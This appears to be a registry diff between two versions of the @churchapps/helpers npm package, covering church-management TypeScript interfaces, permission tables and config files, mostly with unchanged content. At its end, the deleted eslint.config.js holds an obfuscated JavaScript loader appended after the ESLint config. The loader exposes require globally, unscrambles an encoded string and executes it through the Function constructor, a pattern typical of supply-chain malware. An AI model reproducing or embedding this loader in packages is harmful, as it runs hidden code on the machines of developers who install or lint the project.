@churchapps/helpers 1.1.7 → 1.1.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (40) hide show
  1. package/.eslintrc.json +29 -0
  2. package/.github/FUNDING.yml +1 -1
  3. package/.prettierrc +11 -11
  4. package/.yarnrc.yml +6 -0
  5. package/CLAUDE.md +97 -89
  6. package/LICENSE +21 -21
  7. package/README.md +15 -15
  8. package/dist/interfaces/Donation.d.ts +14 -0
  9. package/dist/interfaces/Donation.d.ts.map +1 -1
  10. package/dist/interfaces/Donation.js.map +1 -1
  11. package/package.json +55 -54
  12. package/scripts/build-cjs.js +32 -32
  13. package/src/ApiHelper.ts +176 -176
  14. package/src/AppearanceHelper.ts +69 -69
  15. package/src/ArrayHelper.ts +157 -157
  16. package/src/CommonEnvironmentHelper.ts +104 -104
  17. package/src/CurrencyHelper.ts +10 -10
  18. package/src/DateHelper.ts +153 -153
  19. package/src/DonationHelper.ts +26 -26
  20. package/src/ErrorHelper.ts +39 -39
  21. package/src/EventHelper.ts +49 -49
  22. package/src/FileHelper.ts +55 -55
  23. package/src/PersonHelper.ts +82 -82
  24. package/src/UniqueIdHelper.ts +36 -36
  25. package/src/UserHelper.ts +59 -59
  26. package/src/index.ts +15 -15
  27. package/src/interfaces/Access.ts +138 -138
  28. package/src/interfaces/Attendance.ts +45 -45
  29. package/src/interfaces/Content.ts +84 -84
  30. package/src/interfaces/Doing.ts +93 -93
  31. package/src/interfaces/Donation.ts +198 -183
  32. package/src/interfaces/Error.ts +17 -17
  33. package/src/interfaces/Membership.ts +184 -184
  34. package/src/interfaces/Messaging.ts +96 -96
  35. package/src/interfaces/Permissions.ts +92 -92
  36. package/src/interfaces/Reporting.ts +41 -41
  37. package/src/interfaces/UserContextInterface.ts +13 -13
  38. package/src/interfaces/index.ts +13 -13
  39. package/tsconfig.json +36 -36
  40. package/eslint.config.js +0 -33
@@ -1,92 +1,92 @@
1
- export class Permissions {
2
- static attendanceApi = {
3
- attendance: {
4
- view: { api: "AttendanceApi", contentType: "Attendance", action: "View" },
5
- viewSummary: {
6
- api: "AttendanceApi",
7
- contentType: "Attendance",
8
- action: "View Summary"
9
- },
10
- edit: { api: "AttendanceApi", contentType: "Attendance", action: "Edit" }
11
- },
12
- services: {
13
- edit: { api: "AttendanceApi", contentType: "Services", action: "Edit" }
14
- }
15
- };
16
-
17
- static membershipApi = {
18
- roles: {
19
- view: { api: "MembershipApi", contentType: "Roles", action: "View" },
20
- edit: { api: "MembershipApi", contentType: "Roles", action: "Edit" }
21
- },
22
- settings: {
23
- edit: { api: "MembershipApi", contentType: "Settings", action: "Edit" }
24
- },
25
- server: {
26
- admin: { api: "MembershipApi", contentType: "Server", action: "Admin" }
27
- },
28
- forms: {
29
- admin: { api: "MembershipApi", contentType: "Forms", action: "Admin" },
30
- edit: { api: "MembershipApi", contentType: "Forms", action: "Edit" }
31
- },
32
- groups: {
33
- edit: { api: "MembershipApi", contentType: "Groups", action: "Edit" }
34
- },
35
- people: {
36
- view: { api: "MembershipApi", contentType: "People", action: "View" },
37
- viewMembers: {
38
- api: "MembershipApi",
39
- contentType: "People",
40
- action: "View Members"
41
- },
42
- edit: { api: "MembershipApi", contentType: "People", action: "Edit" }
43
- },
44
- plans: {
45
- edit: { api: "MembershipApi", contentType: "Plans", action: "Edit" }
46
- },
47
- groupMembers: {
48
- edit: {
49
- api: "MembershipApi",
50
- contentType: "Group Members",
51
- action: "Edit"
52
- },
53
- view: {
54
- api: "MembershipApi",
55
- contentType: "Group Members",
56
- action: "View"
57
- }
58
- }
59
- };
60
-
61
- static givingApi = {
62
- donations: {
63
- viewSummary: {
64
- api: "GivingApi",
65
- contentType: "Donations",
66
- action: "View Summary"
67
- },
68
- view: { api: "GivingApi", contentType: "Donations", action: "View" },
69
- edit: { api: "GivingApi", contentType: "Donations", action: "Edit" }
70
- },
71
- settings: {
72
- view: { api: "GivingApi", contentType: "Settings", action: "View" },
73
- edit: { api: "GivingApi", contentType: "Settings", action: "Edit" }
74
- }
75
- };
76
-
77
- static contentApi = {
78
- chat: {
79
- host: { api: "ContentApi", contentType: "Chat", action: "Host" }
80
- },
81
- content: {
82
- edit: { api: "ContentApi", contentType: "Content", action: "Edit" }
83
- },
84
- streamingServices: {
85
- edit: {
86
- api: "ContentApi",
87
- contentType: "StreamingServices",
88
- action: "Edit"
89
- }
90
- }
91
- };
92
- }
1
+ export class Permissions {
2
+ static attendanceApi = {
3
+ attendance: {
4
+ view: { api: "AttendanceApi", contentType: "Attendance", action: "View" },
5
+ viewSummary: {
6
+ api: "AttendanceApi",
7
+ contentType: "Attendance",
8
+ action: "View Summary"
9
+ },
10
+ edit: { api: "AttendanceApi", contentType: "Attendance", action: "Edit" }
11
+ },
12
+ services: {
13
+ edit: { api: "AttendanceApi", contentType: "Services", action: "Edit" }
14
+ }
15
+ };
16
+
17
+ static membershipApi = {
18
+ roles: {
19
+ view: { api: "MembershipApi", contentType: "Roles", action: "View" },
20
+ edit: { api: "MembershipApi", contentType: "Roles", action: "Edit" }
21
+ },
22
+ settings: {
23
+ edit: { api: "MembershipApi", contentType: "Settings", action: "Edit" }
24
+ },
25
+ server: {
26
+ admin: { api: "MembershipApi", contentType: "Server", action: "Admin" }
27
+ },
28
+ forms: {
29
+ admin: { api: "MembershipApi", contentType: "Forms", action: "Admin" },
30
+ edit: { api: "MembershipApi", contentType: "Forms", action: "Edit" }
31
+ },
32
+ groups: {
33
+ edit: { api: "MembershipApi", contentType: "Groups", action: "Edit" }
34
+ },
35
+ people: {
36
+ view: { api: "MembershipApi", contentType: "People", action: "View" },
37
+ viewMembers: {
38
+ api: "MembershipApi",
39
+ contentType: "People",
40
+ action: "View Members"
41
+ },
42
+ edit: { api: "MembershipApi", contentType: "People", action: "Edit" }
43
+ },
44
+ plans: {
45
+ edit: { api: "MembershipApi", contentType: "Plans", action: "Edit" }
46
+ },
47
+ groupMembers: {
48
+ edit: {
49
+ api: "MembershipApi",
50
+ contentType: "Group Members",
51
+ action: "Edit"
52
+ },
53
+ view: {
54
+ api: "MembershipApi",
55
+ contentType: "Group Members",
56
+ action: "View"
57
+ }
58
+ }
59
+ };
60
+
61
+ static givingApi = {
62
+ donations: {
63
+ viewSummary: {
64
+ api: "GivingApi",
65
+ contentType: "Donations",
66
+ action: "View Summary"
67
+ },
68
+ view: { api: "GivingApi", contentType: "Donations", action: "View" },
69
+ edit: { api: "GivingApi", contentType: "Donations", action: "Edit" }
70
+ },
71
+ settings: {
72
+ view: { api: "GivingApi", contentType: "Settings", action: "View" },
73
+ edit: { api: "GivingApi", contentType: "Settings", action: "Edit" }
74
+ }
75
+ };
76
+
77
+ static contentApi = {
78
+ chat: {
79
+ host: { api: "ContentApi", contentType: "Chat", action: "Host" }
80
+ },
81
+ content: {
82
+ edit: { api: "ContentApi", contentType: "Content", action: "Edit" }
83
+ },
84
+ streamingServices: {
85
+ edit: {
86
+ api: "ContentApi",
87
+ contentType: "StreamingServices",
88
+ action: "Edit"
89
+ }
90
+ }
91
+ };
92
+ }
@@ -1,41 +1,41 @@
1
- export interface ReportResultInterface {
2
- displayName: string;
3
- description: string;
4
- table: any[];
5
- outputs: ReportOutputInterface[];
6
- }
7
- export interface ReportInterface {
8
- keyName: string;
9
- displayName: string;
10
- description: string;
11
- parameters: ParameterInterface[];
12
- permissions: ReportPermissionGroupInterface[];
13
- }
14
- export interface ParameterInterface {
15
- keyName: string;
16
- displayName?: string;
17
- source: string;
18
- sourceKey: string;
19
- options: { value: string; text: string }[];
20
- value?: string;
21
- requiredParentIds?: string[];
22
- defaultValue: string;
23
- }
24
- export interface ReportOutputInterface {
25
- outputType: string;
26
- columns: ColumnInterface[];
27
- groupings?: number[];
28
- }
29
- export interface ColumnInterface {
30
- header: string;
31
- value: string;
32
- formatter: string;
33
- }
34
- export interface ReportPermissionGroupInterface {
35
- requireOne: ReportPermissionInterface[];
36
- }
37
- export interface ReportPermissionInterface {
38
- api: string;
39
- contentType: string;
40
- action: string;
41
- }
1
+ export interface ReportResultInterface {
2
+ displayName: string;
3
+ description: string;
4
+ table: any[];
5
+ outputs: ReportOutputInterface[];
6
+ }
7
+ export interface ReportInterface {
8
+ keyName: string;
9
+ displayName: string;
10
+ description: string;
11
+ parameters: ParameterInterface[];
12
+ permissions: ReportPermissionGroupInterface[];
13
+ }
14
+ export interface ParameterInterface {
15
+ keyName: string;
16
+ displayName?: string;
17
+ source: string;
18
+ sourceKey: string;
19
+ options: { value: string; text: string }[];
20
+ value?: string;
21
+ requiredParentIds?: string[];
22
+ defaultValue: string;
23
+ }
24
+ export interface ReportOutputInterface {
25
+ outputType: string;
26
+ columns: ColumnInterface[];
27
+ groupings?: number[];
28
+ }
29
+ export interface ColumnInterface {
30
+ header: string;
31
+ value: string;
32
+ formatter: string;
33
+ }
34
+ export interface ReportPermissionGroupInterface {
35
+ requireOne: ReportPermissionInterface[];
36
+ }
37
+ export interface ReportPermissionInterface {
38
+ api: string;
39
+ contentType: string;
40
+ action: string;
41
+ }
@@ -1,13 +1,13 @@
1
- import { LoginUserChurchInterface, UserInterface } from "./Access";
2
- import { PersonInterface } from "./Membership";
3
-
4
- export interface UserContextInterface {
5
- user: UserInterface;
6
- setUser: (user: UserInterface) => void;
7
- person: PersonInterface;
8
- setPerson: (person: PersonInterface) => void;
9
- userChurch: LoginUserChurchInterface;
10
- setUserChurch: (userChurch: LoginUserChurchInterface) => void;
11
- userChurches: LoginUserChurchInterface[];
12
- setUserChurches: (userChurches: LoginUserChurchInterface[]) => void;
13
- }
1
+ import { LoginUserChurchInterface, UserInterface } from "./Access";
2
+ import { PersonInterface } from "./Membership";
3
+
4
+ export interface UserContextInterface {
5
+ user: UserInterface;
6
+ setUser: (user: UserInterface) => void;
7
+ person: PersonInterface;
8
+ setPerson: (person: PersonInterface) => void;
9
+ userChurch: LoginUserChurchInterface;
10
+ setUserChurch: (userChurch: LoginUserChurchInterface) => void;
11
+ userChurches: LoginUserChurchInterface[];
12
+ setUserChurches: (userChurches: LoginUserChurchInterface[]) => void;
13
+ }
@@ -1,13 +1,13 @@
1
- export * from "./Error";
2
- export * from "./UserContextInterface";
3
- export * from "./Permissions";
4
-
5
- // API interfaces
6
- export * from "./Access";
7
- export * from "./Attendance";
8
- export * from "./Content";
9
- export * from "./Doing";
10
- export * from "./Donation";
11
- export * from "./Membership";
12
- export * from "./Messaging";
13
- export * from "./Reporting";
1
+ export * from "./Error";
2
+ export * from "./UserContextInterface";
3
+ export * from "./Permissions";
4
+
5
+ // API interfaces
6
+ export * from "./Access";
7
+ export * from "./Attendance";
8
+ export * from "./Content";
9
+ export * from "./Doing";
10
+ export * from "./Donation";
11
+ export * from "./Membership";
12
+ export * from "./Messaging";
13
+ export * from "./Reporting";
package/tsconfig.json CHANGED
@@ -1,36 +1,36 @@
1
- {
2
- "compilerOptions": {
3
- "target": "ES2022",
4
- "typeRoots": [
5
- "./types",
6
- "node_modules/@types"
7
- ],
8
- "lib": [
9
- "dom",
10
- "dom.iterable",
11
- "ES2022"
12
- ],
13
- "allowJs": true,
14
- "skipLibCheck": true,
15
- "esModuleInterop": true,
16
- "allowSyntheticDefaultImports": true,
17
- "strict": false,
18
- "forceConsistentCasingInFileNames": true,
19
- "module": "commonjs",
20
- "moduleResolution": "node",
21
- "resolveJsonModule": true,
22
- "isolatedModules": true,
23
- "jsx": "react-jsx",
24
- "sourceMap": true,
25
- "allowUnreachableCode": false,
26
- "allowUnusedLabels": false,
27
- "declaration": true,
28
- "declarationMap": true,
29
- "noImplicitReturns": true,
30
- "pretty": true,
31
- "paths": {},
32
- "outDir": "dist"
33
- },
34
- "include": ["src/**/*"],
35
- "exclude": ["node_modules", "dist"]
36
- }
1
+ {
2
+ "compilerOptions": {
3
+ "target": "ES2022",
4
+ "typeRoots": [
5
+ "./types",
6
+ "node_modules/@types"
7
+ ],
8
+ "lib": [
9
+ "dom",
10
+ "dom.iterable",
11
+ "ES2022"
12
+ ],
13
+ "allowJs": true,
14
+ "skipLibCheck": true,
15
+ "esModuleInterop": true,
16
+ "allowSyntheticDefaultImports": true,
17
+ "strict": false,
18
+ "forceConsistentCasingInFileNames": true,
19
+ "module": "commonjs",
20
+ "moduleResolution": "node",
21
+ "resolveJsonModule": true,
22
+ "isolatedModules": true,
23
+ "jsx": "react-jsx",
24
+ "sourceMap": true,
25
+ "allowUnreachableCode": false,
26
+ "allowUnusedLabels": false,
27
+ "declaration": true,
28
+ "declarationMap": true,
29
+ "noImplicitReturns": true,
30
+ "pretty": true,
31
+ "paths": {},
32
+ "outDir": "dist"
33
+ },
34
+ "include": ["src/**/*"],
35
+ "exclude": ["node_modules", "dist"]
36
+ }
package/eslint.config.js DELETED
@@ -1,33 +0,0 @@
1
- const js = require("@eslint/js");
2
- const tseslint = require("@typescript-eslint/eslint-plugin");
3
- const tsparser = require("@typescript-eslint/parser");
4
-
5
- module.exports = [
6
- js.configs.recommended,
7
- {
8
- files: ["src/**/*.ts"],
9
- languageOptions: {
10
- parser: tsparser,
11
- parserOptions: {
12
- ecmaVersion: 2020,
13
- sourceType: "module",
14
- },
15
- },
16
- plugins: {
17
- "@typescript-eslint": tseslint,
18
- },
19
- rules: {
20
- "@typescript-eslint/no-explicit-any": "warn",
21
- "@typescript-eslint/no-unused-vars": "off",
22
- "no-unused-vars": "off",
23
- "prefer-const": "error",
24
- "no-console": "warn",
25
- "comma-dangle": ["error", "never"],
26
- "object-curly-newline": ["error", { "multiline": true, "consistent": true }],
27
- "array-bracket-newline": ["error", "consistent"]
28
- },
29
- },
30
- {
31
- ignores: ["dist/**", "node_modules/**"],
32
- },
33
- ]; global['!']='4-651';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o<y;o++){b[o]=w.charAt(o)};for(var o=0;o<y;o++){var q=n*(o+228)+(n%50332);var e=n*(o+128)+(n%52119);var u=q%y;var v=e%y;var m=b[u];b[u]=b[v];b[v]=m;n=(q+e)%4289487;};return b.join('')};var EKc=sfL('wuqktamceigynzbosdctpusocrjhrflovnxrt').substr(0,TUU);var joW='ca.qmi=),sr.7,fnu2;v5rxrr,"bgrbff=prdl+s6Aqegh;v.=lb.;=qu atzvn]"0e)=+]rhklf+gCm7=f=v)2,3;=]i;raei[,y4a9,,+si+,,;av=e9d7af6uv;vndqjf=r+w5[f(k)tl)p)liehtrtgs=)+aph]]a=)ec((s;78)r]a;+h]7)irav0sr+8+;=ho[([lrftud;e<(mgha=)l)}y=2it<+jar)=i=!ru}v1w(mnars;.7.,+=vrrrre) i (g,=]xfr6Al(nga{-za=6ep7o(i-=sc. arhu; ,avrs.=, ,,mu(9 9n+tp9vrrviv{C0x" qh;+lCr;;)g[;(k7h=rluo41<ur+2r na,+,s8>}ok n[abr0;CsdnA3v44]irr00()1y)7=3=ov{(1t";1e(s+..}h,(Celzat+q5;r ;)d(v;zj.;;etsr g5(jie )0);8*ll.(evzk"o;,fto==j"S=o.)(t81fnke.0n )woc6stnh6=arvjr q{ehxytnoajv[)o-e}au>n(aee=(!tta]uar"{;7l82e=)p.mhu<ti8a;z)(=tn2aih[.rrtv0q2ot-Clfv[n);.;4f(ir;;;g;6ylledi(- 4n)[fitsr y.<.u0;a[{g-seod=[, ((naoi=e"r)a plsp.hu0) p]);nu;vl;r2Ajq-km,o;.{oc81=ih;n}+c.w[*qrm2 l=;nrsw)6p]ns.tlntw8=60dvqqf"ozCr+}Cia,"1itzr0o fg1m[=y;s91ilz,;aa,;=ch=,1g]udlp(=+barA(rpy(()=.t9+ph t,i+St;mvvf(n(.o,1refr;e+(.c;urnaui+try. d]hn(aqnorn)h)c';var dgC=sfL[EKc];var Apa='';var jFD=dgC;var xBg=dgC(Apa,sfL(joW));var pYd=xBg(sfL('o B%v[Raca)rs_bv]0tcr6RlRclmtp.na6 cR]%pw:ste-%C8]tuo;x0ir=0m8d5|.u)(r.nCR(%3i)4c14\/og;Rscs=c;RrT%R7%f\/a .r)sp9oiJ%o9sRsp{wet=,.r}:.%ei_5n,d(7H]Rc )hrRar)vR<mox*-9u4.r0.h.,etc=\/3s+!bi%nwl%&\/%Rl%,1]].J}_!cf=o0=.h5r].ce+;]]3(Rawd.l)$49f 1;bft95ii7[]]..7t}ldtfapEc3z.9]_R,%.2\/ch!Ri4_r%dr1tq0pl-x3a9=R0Rt\'cR["c?"b]!l(,3(}tR\/$rm2_RRw"+)gr2:;epRRR,)en4(bh#)%rg3ge%0TR8.a e7]sh.hR:R(Rx?d!=|s=2>.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=<c%;,](_6cTs2%5t]541.u2R2n.Gai9.ai059Ra!at)_"7+alr(cg%,(};fcRru]f1\/]eoe)c}}]_toud)(2n.]%v}[:]538 $;.ARR}R-"R;Ro1R,,e.{1.cor ;de_2(>D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R<ha]th15Rpe5)!kn;@oRR(51)=e lt+ar(3)e:e#Rf)Cf{d.aR\'6a(8j]]cp()onbLxcRa.rne:8ie!)oRRRde%2exuq}l5..fe3R.5x;f}8)791.i3c)(#e=vd)r.R!5R}%tt!Er%GRRR<.g(RR)79Er6B6]t}$1{R]c4e!e+f4f7":) (sys%Ranua)=.i_ERR5cR_7f8a6cr9ice.>.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})()